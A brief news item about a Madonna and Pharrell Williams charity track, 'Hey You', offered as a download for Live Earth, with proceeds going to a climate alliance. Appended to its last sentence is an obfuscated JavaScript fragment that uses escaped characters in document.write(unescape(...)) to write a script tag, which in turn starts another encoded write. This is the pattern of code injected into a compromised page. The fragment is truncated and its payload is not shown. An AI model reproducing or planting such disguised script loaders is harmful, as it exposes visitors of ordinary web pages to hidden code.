A brand new Madonna track recorded to benefit the Live Earth cause has been made available to download.
"Hey You", which is a collaboration with Pharrell Williams, will not be released commercially.
To download the song, which is also unlikely to feature on the new Madonna album, visit liveearth.msn.com.
In a statement, it was confirmed that "25 cents for each of the first 1 million downloads will go to the Alliance For Climate Protection".
Madonna headlines the London leg of the Live Earth series of concerts this summer, on July 7.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22